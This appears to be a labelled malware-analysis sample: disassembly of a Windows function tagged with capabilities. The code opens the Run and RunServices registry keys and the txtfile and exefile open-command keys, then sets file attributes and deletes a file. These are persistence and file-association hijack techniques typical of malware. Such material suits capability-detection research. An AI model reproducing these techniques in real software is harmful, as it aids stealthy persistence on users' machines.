Function at 0x410684
Capabilities:
Delete file
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
mov eax, 0x4902cc
call fcn.004696b8
mov dl, 1
mov eax, dword [0x428428]
call fcn.00428568
mov word [ebp - 0x4c], 0x14
mov ebx, eax
lea eax, [ebp - 4]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRunServices
call fcn.00474b48
inc dword [ebp - 0x40]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov word [ebp - 0x4c], 8
mov word [ebp - 0x4c], 0x20
lea eax, [ebp - 8]
call fcn.00474b48
inc dword [ebp - 0x40]
mov edx, str.SoftwareClasses_txtfileShellopencommand
mov word [ebp - 0x4c], 8
mov word [ebp - 0x4c], 0x2c
lea eax, [ebp - 0xc]
call fcn.00474b48
inc dword [ebp - 0x40]
mov edx, str.SoftwareClassesexefileShellopencommand
mov word [ebp - 0x4c], 8
mov word [ebp - 0x4c], 0x38
lea eax, [ebp - 0x10]
call fcn.00474b48
inc dword [ebp - 0x40]
mov edx, 0x80000002
mov word [ebp - 0x4c], 8
mov eax, ebx
call fcn.00474b40
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.0042875c
test al, al
je 0x410765
mov word [ebp - 0x4c], 0x44
mov edx, 0x48c73a
lea eax, [ebp - 0x18]
call fcn.00474b48
inc dword [ebp - 0x40]
mov ecx, dword [eax]
mov edx, dword [0x49b138]
mov eax, ebx
call fcn.00428ad8
dec dword [ebp - 0x40]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00474d44
mov eax, ebx
call fcn.004285d0
mov cl, 1
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.0042875c
test al, al
je 0x4107b1
mov word [ebp - 0x4c], 0x50
mov edx, 0x48c73b
lea eax, [ebp - 0x1c]
call fcn.00474b48
inc dword [ebp - 0x40]
mov ecx, dword [eax]
mov edx, dword [0x49b138]
mov eax, ebx
call fcn.00428ad8
dec dword [ebp - 0x40]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00474d44
mov eax, ebx
call fcn.004285d0
mov cl, 1
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.0042875c
test al, al
je 0x41081b
mov edx, str.Notepad.exe__1
lea eax, [ebp - 0x24]
call fcn.00474b48
inc dword [ebp - 0x40]
mov edx, dword [eax]
lea eax, [ebp - 0x20]
push edx
mov edx, 0x48c73c
mov word [ebp - 0x4c], 0x5c
call fcn.00474b48
inc dword [ebp - 0x40]
mov edx, dword [eax]
mov eax, ebx
pop ecx
call fcn.00428ad8
dec dword [ebp - 0x40]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x40]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.00474d44
mov eax, ebx
call fcn.004285d0
mov cl, 1
mov edx, dword [ebp - 0x10]
mov eax, ebx
call fcn.0042875c
test al, al
je 0x410885
mov edx, str.__1___
lea eax, [ebp - 0x2c]
call fcn.00474b48
inc dword [ebp - 0x40]
mov edx, dword [eax]
lea eax, [ebp - 0x28]
push edx
mov edx, 0x48c74c
mov word [ebp - 0x4c], 0x68
call fcn.00474b48
inc dword [ebp - 0x40]
mov edx, dword [eax]
mov eax, ebx
pop ecx
call fcn.00428ad8
dec dword [ebp - 0x40]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x40]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00474d44
mov eax, ebx
call fcn.004285d0
mov esi, ebx
mov dword [ebp - 0x34], esi
test esi, esi
je 0x4108b3
mov eax, dword [esi]
mov dword [ebp - 0x30], eax
mov word [ebp - 0x4c], 0x80
mov edx, 3
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x4c], 0x74
mov word [ebp - 0x4c], 0x8c
xor edx, edx
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], edx
push eax
inc dword [ebp - 0x40]
call fcn.0040f7cc
pop ecx
mov word [ebp - 0x4c], 8
push 0x80
mov edx, dword [ebp - 0x14]
test edx, edx
je 0x4108e2
mov ecx, dword [ebp - 0x14]
jmp 0x4108e7
mov ecx, 0x48c755
push ecx
call sub.KERNEL32.DLL_SetFileAttributesA
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x4108f9
mov edx, dword [ebp - 0x14]
jmp 0x4108fe
mov edx, 0x48c756
push edx
call sub.KERNEL32.DLL_DeleteFileA
mov word [ebp - 0x4c], 0x98
xor eax, eax
lea edx, [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov eax, dword [0x49a444]
inc dword [ebp - 0x40]
mov eax, dword [eax]
call fcn.004417d0
lea edx, [ebp - 0x38]
mov ecx, dword [edx]
push ecx
call fcn.0040a730
pop ecx
dec dword [ebp - 0x40]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.00474d44
mov byte [0x48b0b6], 1
dec dword [ebp - 0x40]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x40]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x40]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x40]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x40]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00474d44
mov ecx, dword [ebp - 0x5c]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret